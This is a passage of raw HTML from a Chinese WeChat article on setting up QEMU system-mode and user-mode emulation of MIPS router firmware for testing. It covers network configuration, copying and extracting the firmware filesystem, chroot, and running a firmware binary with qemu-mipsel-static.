src="https://wechat2rss.xlab.app/img-proxy/?k=8fcc3276&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrNptqCydeXBdEeoqYcQVzb4ShtwKkGotiaXjCnFLYG88OCt6momu3Sdw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">账号密码均为root</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.26218851570964247" data-s="300,640" style="" data-type="png" data-w="923" src="https://wechat2rss.xlab.app/img-proxy/?k=fb7774a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXriaaAhKGIibx8B57coO9Fj0hINibrvSwbthiabEYWY5ZDlIw8W6TdqbqXIQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用ifconfig配置仿真机的eth0网卡为192.168.3.2<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ifconfig</span> <span class="code-snippet__selector-tag">eth0</span> 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.3</span><span class="code-snippet__selector-class">.2</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.42093784078516905" data-s="300,640" style="" data-type="png" data-w="917" src="https://wechat2rss.xlab.app/img-proxy/?k=7611f4ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXr25ZhVN81QbtQc3u7ku1nNGaDJiaxz7I5PnGqdKYfNI1YSOTF0txQbBg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用物理机测试与仿真机之间的连通性<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ping</span> 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.3</span><span class="code-snippet__selector-class">.2</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.15846994535519127" data-s="300,640" style="" data-type="png" data-w="915" src="https://wechat2rss.xlab.app/img-proxy/?k=dc8b23eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrUmvwZAUUrRvibBpoNbnicwlMf2hBn2ibLtl5ZzJXObxaiaIicbHZI6B8QYg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用scp命令将squashfs.tar传入仿真机</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">scp squashfs.tar root@192.<span class="code-snippet__number">168.3</span>.<span class="code-snippet__number">2</span><span class="code-snippet__symbol">:/root</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.15800865800865802" data-s="300,640" style="" data-type="png" data-w="924" src="https://wechat2rss.xlab.app/img-proxy/?k=1e7edd2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXr4HBic6ia9Ahduu8RXYATNe7oAsvxa0rr6d5JBdibqHa31ZzMn9H3y29tA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在仿真机内使用tar命令解压<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">tar</span> <span class="code-snippet__selector-tag">-zxvf</span> <span class="code-snippet__selector-tag">squashfs</span><span class="code-snippet__selector-class">.tar</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.19052744886975242" data-s="300,640" style="" data-type="png" data-w="929" src="https://wechat2rss.xlab.app/img-proxy/?k=298fdca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXr0lSeCwVzDqZIia7tOltdjeheWSbRodZ4KNianuZRmqrtiaGCgMGIP5qWg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">挂载固件文件系统中的proc目录和dev目录到chroot环境，<strong>因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备</strong><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">mount -o bind /dev ./squashfs-root/dev</span></code><code><span class="code-snippet_outer">mount -t proc /proc ./squashfs-root/proc/</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用chroot更改root目录，系统的目录结构将以squashfs-root作为根<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">chroot</span> ./squashfs-root/ sh</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1945945945945946" data-s="300,640" style="" data-type="png" data-w="925" src="https://wechat2rss.xlab.app/img-proxy/?k=36c365e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrgGIcmSdHpmM8LVBosSTUeoboFJmmY0U3x4oMjXR8E1k29TdHZYicm5A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">至此，我们就可以运行该文件系统中的程序啦<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3 QEMU用户模式仿真</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因为我们要运行的是mipsel的程序，所以这里我们使用qemu-mipsel来执行<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.13143872113676733" data-s="300,640" style="" data-type="png" data-w="563" src="https://wechat2rss.xlab.app/img-proxy/?k=5f81ddf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrh3ibTdibxr3eZBX3pliaRewrLvMQibicR3RPiaJn5aPPd6cqCw1eWibxMJiaNQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">但如果有的时候目标程序使用了动态链接库就会导致我们执行失败，这个时候我们只要配合chroot使用即可，首先将qemu-mipsel拷贝到squashfs-root目录<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">cp $(which qemu-mipsel-<span class="code-snippet__keyword">static</span>) .</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><img class="rich_pages" data-galleryid="" data-ratio="0.4118918918918919" data-s="300,640" style="" data-type="png" data-w="925" src="https://wechat2rss.xlab.app/img-proxy/?k=aa1a1b8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrmAxHC7cXHDBXXnibO3mxzk0R1pXpEgx1y7icibVxqXBpx1XsurdPVvAnQ%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">sudo chroot . ./qemu-mipsel-<span class="code-snippet__keyword">static</span> ./www/api</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><img data-ratio="0.23711340206185566" data-w="776" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d88a78f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbtsyz8hiap3Nk8TibmKHjGXrJFpsKx6y97bOgh2erdeicoMf0Nqf0TpVM6sYlibiaYUKTG0qWozrYyAfw%2F640%3Fwx_fmt%3Dpng"/><br/></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">4 总结<br/></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">QEMU的出现为我们这些测试人员节约了大量的成本。我们可以在没有开发板的情况下进行测试、调试和运行，大大提高了效率<br/></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">参考引用：<br/></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">https:<span class="code-snippet__regexp">//swordfaith</span>.github.io/<span class="code-snippet__number">2019</span>/09/<span class="code-snippet__number">24</span>/QEMU%20%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86/</span></code><code><span class="code-snippet_outer">基于QEMU的嵌入式系统仿真环境的构建（陈宇星）</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4012806830309498" data-s="300,640" style="width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="1874" src="https://wechat2rss.xlab.app/img-proxy/?k=eabe8721&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOLmpibBstibso6rfWkEJFDwibcW4QbNcHtf2GCjia9DQiafAr9nbQnufE5Ow%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43112701252236135" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=f2312631&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOu5t0fBMsCxzDQnk766HhG7jB3rsQictYQjAdKx8Vv1iaDn97KIZLmS8w%2F640%3Fwx_fmt%3Dpng"/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488135&amp;idx=1&amp;sn=e0d2834854ecd8b7a2259b2b8c39c7b9&amp;chksm=faae4a4ccdd9c35a3f203671921d09e9bca0134541958e0129ff26882b2c42c38b77136e0971&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.4339622641509434" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="1166" src="https://wechat2rss.xlab.app/img-proxy/?k=49fa1452&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO7PBBlnU8bHMbauw0vriaef9Q24JynYXMwcLlvVn8rFGTXeU8tjBdvGQ%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982&amp;chksm=faae5491cdd9dd87521f796e9c1dfdebdb9df6082e623f5c7bd9c2d68056df36cf6beccec093&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42717497556207235" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="2046" src="https://wechat2rss.xlab.app/img-proxy/?k=d8869eac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOwABcJoQRcGEbGyTo9y77oDsdVdIm6qjvSPSvDAtGgLdzUOFhzhyxjw%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485825&amp;idx=2&amp;sn=29ce2ce1183af1204be56d82f0311c94&amp;chksm=faae514acdd9d85c055e9684d74099ff22435858120f9ed759629eeb3d0e1eb05165c0d4242e&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42674532940019666" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="2034" src="https://wechat2rss.xlab.app/img-proxy/?k=87e97b0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOBRnCibOatR02XnTiaJ7y7JDIiaM3VAJGCicov5bgdJKfsE1KvUJzNpVwfg%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485561&amp;idx=2&amp;sn=b41a34ca87b871f70c8b7ab43fb7dc30&amp;chksm=faae50b2cdd9d9a426b5f4cf4c78aaf1671944de79f5e771e920973db78c8e22ff562d03e408&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.4292730844793713" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="2036" src="https://wechat2rss.xlab.app/img-proxy/?k=2c1ef8cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOKyaOEmT4tk7NYSgpyUb8WnBbzq3GyuRHV2Sc6riaQ9CyCbpFwjVUdDg%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485455&amp;idx=1&amp;sn=a5df769f0231bfcbf54aadf8efa84ecc&amp;chksm=faae50c4cdd9d9d2107bcea1a2b58d81310eaf9fdd8b24d4ff9db7e75cb0eba3b5bd151599c0&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42829268292682926" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="2050" src="https://wechat2rss.xlab.app/img-proxy/?k=5d1611a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOYHBgCMibUV4PbGl9qvVyuTCHAmtZUl4gq6tdaxUvOmvr36QMbibH0UkA%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485445&amp;idx=1&amp;sn=94649507c498c9e6ab9ea82be6fdad46&amp;chksm=faae50cecdd9d9d8e60734cd8d4222604341ba4ded3fc4d45206f549f628a37bb490f117fd18&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42196531791907516" data-s="300,640" style="margin: 0px;width: 677px !important;height: auto !important;visibility: visible !important;" data-type="png" data-w="2076" 